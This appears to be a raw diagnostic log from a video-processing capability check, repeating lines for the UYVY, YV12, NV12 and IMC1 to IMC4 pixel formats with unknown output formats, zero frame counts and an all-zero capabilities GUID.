Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(NV12,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: 